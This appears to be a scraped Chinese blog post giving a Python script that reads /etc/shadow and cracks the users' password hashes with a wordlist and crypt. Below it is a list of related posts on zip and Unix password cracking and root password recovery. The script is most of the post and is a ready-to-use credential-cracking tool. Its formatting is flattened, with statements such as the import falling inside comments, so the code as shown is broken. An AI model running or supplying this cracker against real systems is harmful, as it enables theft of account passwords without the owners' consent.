# qianxiao996精心制作
#博客地址:https://blog.csdn.net/qq_36374896
#!/usr/bin/env python #指定这是一个python文件,使用这个解释器执行
#-*- coding:utf-8 -*- #设定编码格式,防止报错
#unix系统下使用,必须把注释删掉,不然有可能报错 import crypt #调用crypt这个库 user_passfile = "/etc/shadow" #获取系统密码路径
zidian = "/root/桌面/password.txt" #获取字典路径 #提取系统中的用户名和密文
def get_pass(user_passfile):
used = {} #定义一个空字典
f=open(user_passfile,"r") #读取系统密码文件
userline = f.readlines() #将该文件转换为列表格式
f.close() #关闭文件
for i in userline: #遍历列表里的内容
if len(i.split(":")[1]) > 3: #以":"分割,取第二个元素的长度,也就是完整密文值的长度,如果大于3,我们认定它有密码,把它取出来
used[i.split(":")[0]]=i.split(":")[1] #我们将取出的密文给了相应的用户,这里的used[i.split(":")[0]]是字典的key,也就是系统中的用户名,后面的i.split(":")[1]是用户名后的加密密文
return used #返回这个字典 #提取我们密码字典里的内容
def look_d(zidian):
f = open(zidian,'r') #读取字典文件内容
mwlist = f.readlines() #将读取的内容转换为列表
f.close() #关闭文件
return mwlist #返回这个列表 #根据密文是否相同判断出对应的用户和密码
def main(user_passfile,zidian):
used = get_pass(user_passfile) #调用自定义函数get_pass
mingwen = look_d(zidian) #调用自定义函数look_d
for user in used:
passwd = used[user] #一次遍历每个用户的密文
salt = "$6$"+passwd.split("$")[2] #获取盐值
for passwdmw in mingwen: #遍历系统中的每个完整密文
if passwd == crypt.crypt(passwdmw.rstrip(),salt): #如果我们猜想的密文与系统中的密文相同,输入它的用户名和密码
print("userName:%s passWord:%s" %(user,passwdmw.rstrip())) if __name__ == "__main__":
main(user_passfile,zidian)

python程序unix密码破解的更多相关文章

  1. python写unix口令破解器

    看了python绝技做出来的unix口令破解器 首先需要crypt. python并不自带!! windows下pip安装失败= = 后来直接去kali敲了 附件:jiami.txt #假设是unix ...

  2. unix 密码破解,zip破解总结

    unix /etc/passwd 破解,假设的前两位是salt import crypt #数据比较 def password_crak(pass_word): salt = pass_word[0: ...

  3. 用Python写一个zip文件的密码破解程序

    最近在读<python绝技:运用python成为顶级黑客>一书,文中有如何运用Python中zipfile自带的方法破解zip文件.短短的十几行代码就将一个程序实现了.下面给出书中所用的代 ...

  4. Python 黑客 --- 001 UNIX口令破解机

    Python 黑客 实战:UNIX口令破解机 使用的系统:Ubuntu 14.04 LTS Python语言版本:Python 2.7.10 V crypt 库是Python内置的库.在UNIX系统使 ...

  5. 【Python】zip文件密码破解

    掌握基础语法后,尝试使用python的zipfile模块练手. zipfile是Python里用来做zip格式编码的压缩和解压缩的. 这里将大体的思路分解成四段代码,逐一完善功能: 第一段代码:解压z ...

  6. 不同的类UNIX操作系统密码破解方法介绍

    (一)Linux 系统密码破解 1.在grub选项菜单按E进入编辑模式 2.编辑kernel那行 /init 1 (或/single) 3.按B重启 4.进入后执行下列命令 root@#passwd ...

  7. Python实现云服务器防止暴力密码破解

    云服务器防止暴力密码破解 云服务器暴露在公网上,每天都有大量的暴力密码破解,更换端口,无济于事,该脚本监控安全日志,获取暴力破解的对方ip,加入hosts黑名单 路径说明 描述 路径 登录安全日志 / ...

  8. 最详细Python批量字典暴力破解zip密码

    工具破解 前两天在网上下来了一波项目案例,结果全是加密的压缩包,于是去网上找了一个压缩包破解的工具 苦于工具破解太慢,一个压缩包要好久,解压了三个之后就放弃了,准备另寻他法 密码字典 巧的是破解的三个 ...

  9. Linux各版本的本地root密码破解方法

    (一)RedHat/CentOS/Fedora 系统密码破解 1.在grub选项菜单按E进入编辑模式 2.编辑kernel 那行最后加上S (或者Single) 3.按B,启动到single-user ...

随机推荐

  1. 03并发编程(多道技术+进程理论+进程join方法)

    目录 03 并发编程 03 并发编程

  2. PHP宝典面试笔试题目

    PHP宝典面试笔试题目 来自<PHP程序员面试笔试宝典>,涵盖了近三年了各大型企业常考的PHP面试题,针对面试题提取出来各种面试知识也涵盖在了本书. PHP题目 [真题68] (    ) ...

  3. v80.01 鸿蒙内核源码分析(内核态锁篇) | 如何实现快锁Futex(下) | 百篇博客分析OpenHarmony源码

    百篇博客分析|本篇为:(内核态锁篇) | 如何实现快锁Futex(下) 进程通讯相关篇为: v26.08 鸿蒙内核源码分析(自旋锁) | 当立贞节牌坊的好同志 v27.05 鸿蒙内核源码分析(互斥锁) ...

  4. 通过shell脚本统计elasticsearch indices每天的数量以及大小

    前情提要: 最近elasticsearch集群总出问题,之前虽然修复了,现在又出现新的问题,于是PM要求拉取elasticsearch每天建立的索引有多少,索引有多大,需要对机器进行评估 客户现场无法 ...

  5. 什么是ETCD及其应用场景

    ​ 源自公众号:BiggerBoy 一.什么是etcd? etcd 发音为/ˈɛtsiːdiː/,名字的由来,"distributed etc directory.",意思是&qu ...

  6. 黑客高端de浏览器使用秘籍

    搜索引擎已经成为上网必不可少的工具之一,聪明的黑客们发现,搜索引擎也能成为发动网络攻击的工具. Google Hacking,原指利用Google搜索引擎搜索信息来进行入侵的技术和行为,如今已不再局限 ...

  7. WPF + Winform 解决管理员权限下无法拖放文件的问题

    wpf,winform混合解决管理员权限无法拖放文件的问题 学习自: https://zhuanlan.zhihu.com/p/343369663 https://zhuanlan.zhihu.com ...

  8. windbg调试系列教程:sos扩展的介绍和使用

    SOS是什么? 直观来说,sos就是一个程序集文件.这个程序集的作用就是让我们在使用windbg分析.net进程时,更加方便快捷.通过sos,我们可以清晰的查看CLR运行时的各类信息,辅助我们去理解托 ...

  9. 转:Minikuberar的含义很不错可以看看

    Kubernetes的主要意图是通过杂乱的负载均衡和资源分配功用跨服务器集群保管使用程序.即使某些服务器呈现毛病,也能够保证使用程序平稳运转.因而在出产布置中,有必要为Kubernetes装备多个服务 ...

  10. [自动化]ssh自动化免密访问配置

    ssh简介 SSH(Secure Shell)是一种通信加密协议,加密算法包括:RSA.DSA等 RSA:非对称加密算法,其安全性基于极其困难的大整数的分解(两个素数的乘积): DSA:也是非对称加密 ...